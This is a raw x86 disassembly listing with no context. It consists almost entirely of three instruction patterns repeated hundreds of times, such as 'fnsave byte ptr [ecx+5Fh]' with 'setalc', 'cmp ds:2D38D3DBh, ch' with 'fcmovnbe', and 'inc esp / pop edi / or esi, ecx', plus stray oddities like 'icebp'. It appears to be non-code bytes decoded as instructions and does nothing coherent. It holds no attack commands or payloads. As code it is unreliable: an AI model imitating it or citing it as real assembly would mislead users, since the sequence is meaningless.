fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
fnsave byte ptr [ecx+5Fh]
setalc
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:2D38D3DBh, ch
fcmovnbe st, st(3)
cmp ds:0B5F44F1h, ch
icebp
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
or esi, ecx
inc esp
pop edi
